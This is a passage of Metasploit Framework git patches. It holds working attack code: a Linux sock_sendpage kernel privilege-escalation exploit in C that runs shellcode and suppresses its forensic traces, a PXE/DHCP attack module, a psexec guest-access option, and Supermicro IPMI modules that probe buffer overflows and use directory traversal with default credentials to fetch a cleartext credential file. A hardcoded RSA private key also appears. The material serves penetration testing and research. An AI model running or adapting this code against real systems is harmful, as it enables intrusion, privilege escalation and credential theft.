"Make the exploit executable be verbose about what it's doing", false ]), + ]) + end + + def executable_path + @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + + @executable_path end def exploit sc = Metasm::ELF.new(@cpu) sc.parse %Q| - #define DEBUGGING - #define NULL ((void*)0) #ifdef __ELF__ .section ".bss" rwx .section ".text" rwx - .entrypoint #endif - call main - ;push eax - call exit | - - # Set up the same include order as the bionic build system. - # See external/source/meterpreter/source/bionic/libc/Jamfile - cparser.lexer.include_search_path = [ - "external/source/meterpreter/source/bionic/libc/include/", - "external/source/meterpreter/source/bionic/libc/private/", - "external/source/meterpreter/source/bionic/libc/bionic/", - "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/", - "external/source/meterpreter/source/bionic/libc/kernel/common/", - "external/source/meterpreter/source/bionic/libc/arch-x86/include/", - ] - - cparser.parse(%Q| - #define DEBUGGING - // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h - #ifndef __extension__ - #define __extension__ - #endif - // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h - // Doing #if on an undefined macro is fine in GCC, but a parse error in - // metasm. - #ifndef __STDC__ - #define __STDC__ 0 - #endif - #include - #include - #include - #include - #include - #include - /* - OpenBSD's strcmp from string/strcmp.c in bionic - */ - int - strcmp(const char *s1, const char *s2) - { - while (*s1 == *s2++) - if (*s1++ == 0) - return (0); - return (*(unsigned char *)s1 - *(unsigned char *)--s2); - } - |) - - [ - "external/source/meterpreter/source/bionic/libc/bionic/__errno.c", - "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c", - "external/source/meterpreter/source/bionic/libc/stdio/stdio.c", - "external/source/meterpreter/source/bionic/libc/unistd/mmap.c", - # This parses without any trouble, but actually calling perror() causes - # immediate segfaults. - #"external/source/meterpreter/source/bionic/libc/unistd/perror.c", - - # For some ungodly reason, NULL ends up being undefined when parsing this - # guy, which of course causes parse errors. - #"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c", - - ].each do |fname| - print_status("Parsing c file #{fname}") - cparser.parse(File.read(fname), fname) - end - - print_status("Unix socket.h") - unix_socket_h(sc) current_task_struct_h(sc) + if datastore["DEBUG"] + cparser.parse "#define DEBUG\n" + end case target.arch.first when ARCH_X86 - print_status("syscall wrappers") - linux_x86_syscall_wrappers(sc) main = %q^ + +struct _IO_FILE; +typedef void _IO_lock_t; + +struct _IO_marker { + struct _IO_marker *_next; + struct _IO_FILE *_sbuf; + int _pos; +}; +typedef unsigned int __gid_t; +typedef long __off_t; +typedef int __pid_t; +typedef +struct { + long __val[2]; +} __quad_t; +typedef int __ssize_t; +typedef unsigned int __uid_t; +extern void exit(int __status); +extern int open(const char *__file, int __oflag, ...); +extern void perror(const char *__s); +extern int printf(const char *__format, ...); +typedef unsigned long size_t; +extern int socket(int __domain, int __type, int __protocol); +extern int strcmp(const char *__s1, const char *__s2); +extern int unlink(const char *__name); + +typedef __quad_t __off64_t; +extern __pid_t fork(void); +extern int ftruncate(int __fd, __off_t __length); +extern __gid_t getgid(void); +extern __uid_t getuid(void); +extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset); +extern int mprotect(void *__addr, size_t __len, int __prot); +typedef __off_t off_t; +typedef __ssize_t ssize_t; + +struct _IO_FILE { + int _flags; + char *_IO_read_ptr; + char *_IO_read_end; + char *_IO_read_base; + char *_IO_write_base; + char *_IO_write_ptr; + char *_IO_write_end; + char *_IO_buf_base; + char *_IO_buf_end; + char *_IO_save_base; + char *_IO_backup_base; + char *_IO_save_end; + struct _IO_marker *_markers; + struct _IO_FILE *_chain; + int _fileno; + int _flags2; + __off_t _old_offset; + unsigned short _cur_column; + signed char _vtable_offset; + char _shortbuf[1]; + _IO_lock_t *_lock; + __off64_t _offset; + void *__pad1; + void *__pad2; + void *__pad3; + void *__pad4; + size_t __pad5; + int _mode; + char _unused2[40]; +}; +extern ssize_t sendfile(int __out_fd, int __in_fd, off_t *__offset, size_t __count); + +typedef struct _IO_FILE FILE; + +extern int fclose(FILE *__stream); +extern FILE *fopen(const char *__filename, const char *__modes); +extern int fscanf(FILE *__stream, const char *__format, ...); + + +// Refactor missed these, added manually by the simple expedient of +// printf +#define PF_BLUETOOTH 31 +#define PF_APPLETALK 5 +#define PF_IPX 4 +#define PF_IRDA 23 +#define PF_X25 9 +#define PF_AX25 3 +#define PF_PPPOX 24 + +#define EOF -1 + +#define MAP_PRIVATE 0x02 +#define MAP_FIXED 0x10 +#define MAP_ANONYMOUS 0x20 +#define MAP_ANON MAP_ANONYMOUS +#define MAP_FAILED ((void *)-1) + +#define PROT_READ 0x1 +#define PROT_WRITE 0x2 +#define PROT_EXEC 0x4 + +#define O_CREAT 64 +#define O_RDWR 2 + +#define SOCK_DGRAM 2 + + +/* +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +*/ + +// Only print to stdout if we're debugging. This reduces our forensics +// footprint a touch by preventing our debugging strings from showing up +// in the binary when using the exploit for reals. +#ifdef DEBUG +# define dprintf printf +#else +# define dprintf +#endif + +#undef fscanf + #ifdef __x86_64__ #define PTR_FMT "0x%016x" #else @@ -163,6 +235,7 @@ class Metasploit4 < Msf::Exploit::Local #define NULL ((void*)0) #define DOMAINS_STOP -1 + const int domains[] = { PF_BLUETOOTH, PF_APPLETALK, @@ -192,7 +265,7 @@ static unsigned long get_kernel_sym(char *name) if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) { - printf("Unable to obtain symbol listing!\n"); + dprintf("Unable to obtain symbol listing!\n"); return 0; } } @@ -205,7 +278,7 @@ static unsigned long get_kernel_sym(char *name) continue; } if (!strcmp(name, sname)) { - printf(" [+] Resolved %s to %p\n", name, (void *)addr); + dprintf(" [+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } @@ -253,11 +326,11 @@ own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long return -1; } -const char *shellcode = -""; +SHELLCODE + int shellcode_size = 0; -int main() { +int main(int argc, char **argv) { int i = 0; int d; int in_fd, out_fd; @@ -265,6 +338,9 @@ int main() { char template[] = "/tmp/sendfile.XXXXXX"; int (*func)(); + dprintf("argv[0] = %s\n", argv[0]); + unlink(argv[0]); + uid = getuid(), gid = getgid(); mapped = mmap(NULL , 0x1000, @@ -273,7 +349,7 @@ int main() { 0, 0 ); if (mapped == NULL) { - printf("Mapped zero page!\n"); + dprintf("Mapped zero page!\n"); } else { exit(1); } @@ -285,35 +361,36 @@ int main() { *(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel; for (i = 0; i < 16; i++) { - printf("\\\\x%02x", (unsigned char)mapped[i]); + dprintf("\\\\x%02x", (unsigned char)mapped[i]); } - printf("\n"); + dprintf("\n"); for (d = 0; domains[d] != DOMAINS_STOP; d++) { - //printf("Next domain ... "); + //dprintf("Next domain ... "); out_fd = socket(domains[d], SOCK_DGRAM, 0); if (out_fd > 0) { - printf("Got domain[%d]\n", d); + dprintf("Got domain[%d]\n", d); break; } if (out_fd < 0) { - printf("out_fd: %d, Errno: %d\n", out_fd, errno); + perror("socket"); exit(1); } } + unlink(template); // Couldn't get mkstemp to work, just use open(2) for now in_fd = open(template, O_CREAT | O_RDWR, 0777); - printf("Opened temp file: %d\n", in_fd); + dprintf("Opened temp file: %d\n", in_fd); unlink(template); - printf("Calling ftruncate\n"); + dprintf("Calling ftruncate\n"); ftruncate(in_fd, 4096); - printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0); - printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096); + dprintf("got_ring0 addr: " PTR_FMT "\n", &got_ring0); + dprintf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096); sendfile(out_fd, in_fd, NULL, 4096); - printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0); - printf("UID: %d GID: %d\n", getuid(), getgid()); + dprintf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0); + dprintf("UID: %d GID: %d\n", getuid(), getgid()); func = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, @@ -322,24 +399,31 @@ int main() { ); mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC); // weaksauce memcpy so we don't have to #include - printf("Copying %d bytes of shellcode\n", shellcode_size); + dprintf("Copying %d bytes of shellcode\n", shellcode_size); for (i = 0; i < shellcode_size; i++) { (char)func[i] = (char)shellcode[i]; } - printf("Calling shellcode: 0x%p\n", func); + dprintf("Forking before calling shellcode: 0x%p\n", func); //sigtrap(); + if (fork()) { + exit(0); + } func(); return got_ring0; } + ^ - main.gsub!(/shellcode =/) do - # split the payload into 16-byte chunks and dump it out as a - # hex-escaped C string - %Q|shellcode =\n"#{payload.encoded.scan(/.{1,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"| + main.gsub!(/SHELLCODE/) do + # Split the payload into chunks and dump it out as a hex-escaped + # literal C string. + Rex::Text.to_c(payload.encoded, 64, "shellcode") end main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") + cparser.parse(main, "main.c") + #$stderr.puts cparser.factorize + #return asm = cpu.new_ccompiler(cparser, sc).compile @@ -347,6 +431,7 @@ int main() { end sc.assemble + sc.c_set_default_entrypoint begin if sc.kind_of? Metasm::ELF @@ -362,16 +447,11 @@ int main() { return end - #puts Rex::Text.to_hex_dump(foo) - File.open("payload.bin", "wb") {|fd| - fd.write elf - } - print_status "Writing exploit executable (#{elf.length} bytes)" - cmd_exec("rm /tmp/sendpage") - write_file("/tmp/sendpage", elf) - output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage") + print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)" + rm_f executable_path + write_file(executable_path, elf) + output = cmd_exec("chmod +x #{executable_path}; #{executable_path}") output.each_line { |line| print_debug line.chomp } - #cmd_exec("rm /tmp/sendpage") end From 9e30c5849565d1cb352417cf62451eab0d69af0d Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 5 Nov 2013 13:47:02 -0600 Subject: [PATCH 381/409] Blow away remnants of Local::Unix --- modules/exploits/linux/local/sock_sendpage.rb | 5 ----- modules/exploits/linux/local/udev_netlink.rb | 7 ------- modules/post/multi/escalate/metasploit_pcaplog.rb | 1 - 3 files changed, 13 deletions(-) diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index 231612a9b1..090c3b641c 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -9,11 +9,6 @@ require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' -#load 'lib/msf/core/post/file.rb' -#load 'lib/msf/core/exploit/local/unix.rb' -#load 'lib/msf/core/exploit/local/linux.rb' -#load 'lib/msf/core/exploit/local/linux_kernel.rb' - class Metasploit4 < Msf::Exploit::Local Rank = GreatRanking diff --git a/modules/exploits/linux/local/udev_netlink.rb b/modules/exploits/linux/local/udev_netlink.rb index 4de931fa2a..de92dac21a 100644 --- a/modules/exploits/linux/local/udev_netlink.rb +++ b/modules/exploits/linux/local/udev_netlink.rb @@ -7,14 +7,8 @@ require 'msf/core' require 'rex' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' -require 'msf/core/exploit/local/unix' require 'msf/core/exploit/exe' -#load 'lib/msf/core/post/file.rb' -#load 'lib/msf/core/exploit/local/unix.rb' -#load 'lib/msf/core/exploit/local/linux.rb' -#load 'lib/msf/core/exploit/local/linux_kernel.rb' - class Metasploit4 < Msf::Exploit::Local Rank = GreatRanking @@ -22,7 +16,6 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Post::File include Msf::Exploit::Local::Linux - include Msf::Exploit::Local::Unix def initialize(info={}) super( update_info( info, { diff --git a/modules/post/multi/escalate/metasploit_pcaplog.rb b/modules/post/multi/escalate/metasploit_pcaplog.rb index 9c1d578675..ba62364952 100644 --- a/modules/post/multi/escalate/metasploit_pcaplog.rb +++ b/modules/post/multi/escalate/metasploit_pcaplog.rb @@ -14,7 +14,6 @@ class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Exploit::Local::Linux - include Msf::Exploit::Local::Unix def initialize(info={}) super( update_info( info, { From faf6be45299a4ee5dd69140c587b712557476a48 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 5 Nov 2013 14:00:55 -0600 Subject: [PATCH 382/409] Missed an errant require Wasn't even using it anyway --- modules/post/multi/escalate/metasploit_pcaplog.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/multi/escalate/metasploit_pcaplog.rb b/modules/post/multi/escalate/metasploit_pcaplog.rb index ba62364952..6679f4377d 100644 --- a/modules/post/multi/escalate/metasploit_pcaplog.rb +++ b/modules/post/multi/escalate/metasploit_pcaplog.rb @@ -6,7 +6,6 @@ require 'msf/core' require 'rex' require 'msf/core/exploit/local/linux' -require 'msf/core/exploit/local/unix' class Metasploit3 < Msf::Post Rank = ManualRanking From 7dcb071f118dfddc8b7b6746a0f183e2225d2bc9 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 6 Nov 2013 07:10:25 +1000 Subject: [PATCH 383/409] Remote shebang and fix pxexeploit --- .../extensions/lanattacks/dhcp/dhcp.rb | 1 - .../extensions/lanattacks/tftp/tftp.rb | 1 - modules/exploits/windows/misc/pxexploit.rb | 16 ++++++++-------- 3 files changed, 8 insertions(+), 10 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb b/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb index 9be664d456..5c39471778 100644 --- a/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb +++ b/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # -*- coding: binary -*- require 'rex/post/meterpreter/extensions/lanattacks/tlv' diff --git a/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb b/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb index 137136dd64..3d1c287e74 100644 --- a/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb +++ b/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # -*- coding: binary -*- require 'rex/post/meterpreter/extensions/lanattacks/tlv' diff --git a/modules/exploits/windows/misc/pxexploit.rb b/modules/exploits/windows/misc/pxexploit.rb index 255c928fbc..561b6d53fc 100644 --- a/modules/exploits/windows/misc/pxexploit.rb +++ b/modules/exploits/windows/misc/pxexploit.rb @@ -90,12 +90,12 @@ class Metasploit3 < Msf::Exploit::Remote else if datastore['RESETPXE'] print_status("Resetting PXE attack...") - client.lanattacks.reset_dhcp + client.lanattacks.dhcp.reset end end print_status("Loading DHCP options...") - client.lanattacks.load_dhcp_options(datastore) + client.lanattacks.dhcp.load_options(datastore) 0.upto(4) do |i| print_status("Loading file #{i+1} of 5") if i < 4 @@ -103,18 +103,18 @@ class Metasploit3 < Msf::Exploit::Remote else contents = initrd end - client.lanattacks.add_tftp_file("update#{i}",contents) + client.lanattacks.tftp.add_file("update#{i}",contents) end print_status("Starting TFTP server...") - client.lanattacks.start_tftp + client.lanattacks.tftp.start print_status("Starting DHCP server...") - client.lanattacks.start_dhcp + client.lanattacks.dhcp.start print_status("pxesploit attack started") while (true) do begin # get stats every 20s select(nil, nil, nil, 20) - client.lanattacks.dhcp_log.each do |item| + client.lanattacks.dhcp.log.each do |item| print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+ "(#{Rex::Socket.addr_ntoa(item[1])})") report_note({ @@ -124,9 +124,9 @@ class Metasploit3 < Msf::Exploit::Remote end rescue ::Interrupt print_status("Stopping TFTP server...") - client.lanattacks.stop_tftp + client.lanattacks.tftp.stop print_status("Stopping DHCP server...") - client.lanattacks.stop_dhcp + client.lanattacks.dhcp.stop print_status("PXEsploit attack stopped") return end From 61e47008321e9c62b7579aabc93e522b0801ad28 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Wed, 6 Nov 2013 11:28:13 -0600 Subject: [PATCH 384/409] Allow guest login option. This enables obtaining or maintaining access to properly misconfigured systems through the Guest account. --- modules/exploits/windows/smb/psexec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 03e58f4408..2dc62fc707 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -81,6 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote [ OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]), OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]), + OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]) ], self.class) end @@ -93,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") smb_login() - if (not simple.client.auth_user) + if not simple.client.auth_user and not datastore['ALLOW_GUEST'] print_line(" ") print_error( "FAILED! The remote host has only provided us with Guest privileges. " + From a973862c74146b9752417610c89c04f79eaeb549 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 6 Nov 2013 11:57:37 -0600 Subject: [PATCH 385/409] Add new modules --- .../scanner/http/supermicro_ipmi_bof.rb | 156 ++++++++++++++++++ .../scanner/http/supermicro_ipmi_cert.rb | 100 +++++++++++ .../scanner/http/supermicro_ipmi_traversal.rb | 142 ++++++++++++++++ 3 files changed, 398 insertions(+) create mode 100644 modules/auxiliary/scanner/http/supermicro_ipmi_bof.rb create mode 100644 modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb create mode 100644 modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb diff --git a/modules/auxiliary/scanner/http/supermicro_ipmi_bof.rb b/modules/auxiliary/scanner/http/supermicro_ipmi_bof.rb new file mode 100644 index 0000000000..1387e49945 --- /dev/null +++ b/modules/auxiliary/scanner/http/supermicro_ipmi_bof.rb @@ -0,0 +1,156 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'uri' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Supermicro Onboard IPMI Buffer Overflow Scanner', + 'Description' => %q{ + This module checks a Supermicro Onboard IPMI web interface against + several unauthenticated buffer overflows. The vulnerabilities exist + on the login.cgi and close_window.cgi components. + }, + 'Author' => + [ + 'hdm', #Discovery and Metasploit module + 'juan vazquez' # Metaspliot module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-3621' ], + [ 'CVE', '2013-3623' ] + ], + 'DisclosureDate' => 'Nov 06 2013')) + + end + + def is_supermicro? + res = send_request_cgi( + { + "uri" => "/", + "method" => "GET" + }) + + if res and res.code == 200 and res.body =~ /ATEN International Co Ltd\./ + return true + else + return false + end + end + + def send_close_window_request(sess) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/cgi/close_window.cgi", + 'encode_params' => false, + 'vars_post' => { + 'sess_sid' => sess + } + }) + + return res + end + + def check_close_window + safe_check = Rex::Text.rand_text_alpha(20) + trigger_check = Rex::Text.rand_text_alpha(132) + + res = send_close_window_request(safe_check) + + unless res and res.code == 200 and res.body =~ /Can't find action/ + return false + end + + res = send_close_window_request(trigger_check) + + unless res and res.code == 500 + return false + end + + return true + end + + def send_login_request(name) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/cgi/login.cgi", + 'encode_params' => false, + 'vars_post' => { + 'name' => name, + 'pwd' => Rex::Text.rand_text_alpha(4) + } + }) + + return res + end + + + def check_login + safe_check = Rex::Text.rand_text_alpha(20) + trigger_check = Rex::Text.rand_text_alpha(300) + + res = send_login_request(safe_check) + + unless res and res.code == 200 and res.body =~ /ATEN International Co Ltd\./ and res.body =~ /top\.location\.href = location\.href/ + return false + end + + res = send_login_request(trigger_check) + + unless res and res.code == 500 + return false + end + + return true + end + + + def run_host(ip) + vprint_status("#{peer} - Checking if it's a Supermicro web interface...") + if is_supermicro? + vprint_good("#{peer} - Supermicro web interface found") + else + vprint_error("#{peer} - Supermicro web interface not found") + return + end + + vprint_status("#{peer} - Checking CVE-2013-3621 (login.gi Buffer Overflow) ...") + result = check_login + if result + print_good("#{peer} - Vulnerable to CVE-2013-3621 (login.cgi Buffer Overflow)") + report_vuln({ + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => "Supermicro Onboard IPMI login.cgi Buffer Overflow", + :refs => self.references.select do |ref| ref.ctx_val == "2013-3621" end + }) + end + + vprint_status("#{peer} - Checking CVE-2013-3623 (close_window.gi buffer overflow) ...") + result = check_close_window + if result + print_good("#{peer} - Vulnerable to CVE-2013-3623 (close_window.cgi buffer overflow)") + report_vuln({ + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => "Supermicro Onboard IPMI close_window.cgi Buffer Overflow", + :refs => self.references.select { |ref| ref.ctx_val == "2013-3623" } + }) + end + + end + +end diff --git a/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb b/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb new file mode 100644 index 0000000000..e56f559ffa --- /dev/null +++ b/modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Supermicro Onboard IPMI Static Encryption Key Scanner', + 'Description' => %q{ + This module checks the certificate of the specified web servers. The Supermicro Onboard + IPMI firmware ships with harcoded private encryption keys for both the Lighttpd web server + SSL interface and the Dropbear SSH daemon. An attacker with access to the publicly available + Supermicro firmware can perform man-in-the-middle and offline decryption of communication to + the firmware. This module has been on Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware + SMT_X9_214. + }, + 'Author' => + [ + 'hdm', # Discovery and Metasploit module + 'juan' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-3619' ] + ], + 'DisclosureDate' => 'Nov 06 2013' + ) + + register_options( + [ + Opt::RPORT(443), + ], self.class) + end + + def private_key + key = <<-EOF.gsub(/^ {6}/, '') + -----BEGIN RSA PRIVATE KEY----- + MIICXQIBAAKBgQC1q1kR6chWLfwspD84Asyy6EFV6SYRGy/gILsYGtn9kCQi2RFo + bNxS5CvphbGWn9D9n5gJpTVWLWb3LwJxGuBKSRj2wrHLlejzw6kSmF+3xFCuMfxV + FSj8TM8JqlOqM1c6lvH2MSXnN7pJBVcekNKbBUEfptakPSejStljbXecSwIDAQAB + AoGAah4/FzGiboTKCyGeNA+eltsIXzCjpdZlrtwvrbLxpyXtldWKT59XS6ww4mXQ + CJYuNBhnbSrt7vrybG0vVfZHEOCvK+5YKBOtvRgrWDgs1Bkc5hsdI5gLx3jE7g6M + PuUvD7ueF4OzYeYRrOLWr957jl32n+hD/k65bKWAUp3aTDECQQDqnEPZWlmoH7Jp + 6woRnEp+1cullHv8DviM5Huh+JeBotSa03p4unhKlRYSqnHdeHU2343n1VUDzvnV + LQWi5G+FAkEAxjt0S67lyuuVD842uZRHt2WSQvwt23aKzQ+EJwV0IXYzfefeLzEm + dDdvc1AJ31gweAQK89/5/1EEF40K7BJdjwJBAJDFdtTT/QlS7eyQPjlZwVp9IVp+ + wvdqYZPHlkb/uLYlPZ6Aq01+e6ZCU0mXZgYtQ99lmhKaQQjFmsMiMh0va2UCQA2T + NLuaFpJ235ZdgNHknaSpiAKeUmWdEJRKY7poXTONbKlKn6SLsR50TWWQLZzl5SvS + 2w0oYW5ile0m84CHIXECQQCrABn0HY4Ll9/4FX+OCWamqwENltU1GcGIogeyFymK + ZVX8QdAVoUiZoUaVku946j63WNSkI1sU/UWhL6XDt4gx + -----END RSA PRIVATE KEY----- + EOF + return key + end + + # Fingerprint a single host + def run_host(ip) + connect(true, {"SSL" => true}) #Force SSL + cert = OpenSSL::X509::Certificate.new(sock.peer_cert) + disconnect + + unless cert + vprint_error("#{ip}:#{rport} - No certificate found") + return + end + + pkey = OpenSSL::PKey::RSA.new(private_key) + result = cert.verify(pkey) + + if result + print_good("#{ip}:#{rport} - Found service using Supermicro IPMI static private key to encrypt communications") + # Report with the the SSL Private Key hash for the host + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'supermicro.ipmi.ssl.certificate.pkey_hash', + :data => OpenSSL::Digest::SHA1.new(pkey.public_key.to_der).to_s.scan(/../).join(":") + ) + + report_vuln({ + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => "Supermicro Onboard IPMI Static Encryption Keys", + :refs => self.references + }) + end + end + +end diff --git a/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb b/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb new file mode 100644 index 0000000000..25115961e9 --- /dev/null +++ b/modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb @@ -0,0 +1,142 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'uri' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Supermicro Onboard IPMI Directory Taversal', + 'Description' => %q{ + This module abuses a directory traversal on the web interface for Supermicro Onboard IPMI. The + vulnerability exists in the url_redirect.cgi CGI application, due to a lack of sanitization + of the url_name parameter. This may allow an attacker with a valid, but not necessarily + administrator-level account, to access the contents of any file on the system. This includes + the /nv/PSBlock file, which contains the cleartext credentials for all configured accounts. + This module has been tested on Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware SMT_X9_214. + }, + 'Author' => + [ + 'hdm', # Discovery and Metasploit module + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + #[ 'CVE', '' ], + #[ 'URL', '' ] # Use R7 blog post + ], + 'DisclosureDate' => 'Nov 06 2013')) + + register_options( + [ + OptString.new('FILEPATH', [true, 'The name of the file to download', '/nv/PSBlock']), + OptInt.new('DEPTH', [true, 'Traversal depth', 1]), # By default downloads from /tmp + OptString.new('USERNAME', [true, 'Username for Supermicro Web Interface', 'ADMIN']), + OptString.new('PASSWORD', [true, 'Password for Supermicro Web Interface', 'ADMIN']) + ], self.class) + end + + def my_basename(filename) + return ::File.basename(filename.gsub(/\\/, "/")) + end + + def is_supermicro? + res = send_request_cgi( + { + "uri" => "/", + "method" => "GET" + }) + + if res and res.code == 200 and res.body =~ /ATEN International Co Ltd\./ + return true + else + return false + end + end + + def login + res = send_request_cgi({ + "uri" => "/cgi/login.cgi", + "method" => "POST", + "vars_post" => { + "name" => datastore["USERNAME"], + "pwd" => datastore["PASSWORD"] + } + }) + + if res and res.code == 200 and res.body =~ /self.location="\.\.\/cgi\/url_redirect\.cgi/ and res.headers["Set-Cookie"] =~ /(SID=[a-z]+)/ + return $1 + else + return nil + end + end + + def read_file(file, session) + travs = "" + travs << "../" * datastore['DEPTH'] + travs << file + + print_status("#{peer} - Retrieving file contents...") + + res = send_request_cgi({ + "uri" => "/cgi/url_redirect.cgi", + "method" => "GET", + "cookie" => session, + "encode_params" => false, + "vars_get" => { + "url_type" => "file", + "url_name" => travs + } + }) + + if res and res.code == 200 and res.headers["Content-type"] =~ /text\/html/ and res.headers["Pragma"].nil? + return res.body + else + return nil + end + end + + def run + print_status("#{peer} - Checking if it's a Supermicro web interface...") + if is_supermicro? + print_good("#{peer} - Check successful") + else + print_error("#{peer} - Supermicro web interface not found") + return + end + + print_status("#{peer} - Login into the Supermicro web interface...") + session = login + if session.nil? + print_error("#{peer} - Failed to login, check credentials.") + return + else + print_good("#{peer} - Login successful, session: #{session}") + end + + contents = read_file(datastore['FILEPATH'], session) + if contents.nil? + print_error("#{peer} - File not downloaded") + return + end + + file_name = my_basename(datastore['FILEPATH']) + path = store_loot( + 'supermicro.ipmi.traversal', + 'application/octet-stream', + rhost, + contents, + file_name + ) + print_good("#{peer} - File saved in: #{path}") + end + +end From 46f09989035b418e59475e444f316121d389906b Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 6 Nov 2013 12:05:00 -0600 Subject: [PATCH 386/409] Add URL refs --- modules/auxiliary/scanner/http/supermicro_ipmi_bof.rb | 3 ++- modules/auxiliary/scanner/http/supermicro_ipmi_cert.rb | 3 ++- modules/auxiliary/scanner/http/supermicro_ipmi_traversal.rb | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/supermicro_ipmi_bof.rb b/modules/auxiliary/scanner/http/supermicro_ipmi_bof.rb index 1387e49945..f42d5d7102 100644 --- a/modules/auxiliary/scanner/http/supermicro_ipmi_bof.rb +++ b/modules/auxiliary/scanner/http/supermicro_ipmi_bof.rb @@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '2013-3621' ], - [ 'CVE', '2013-3623' ] 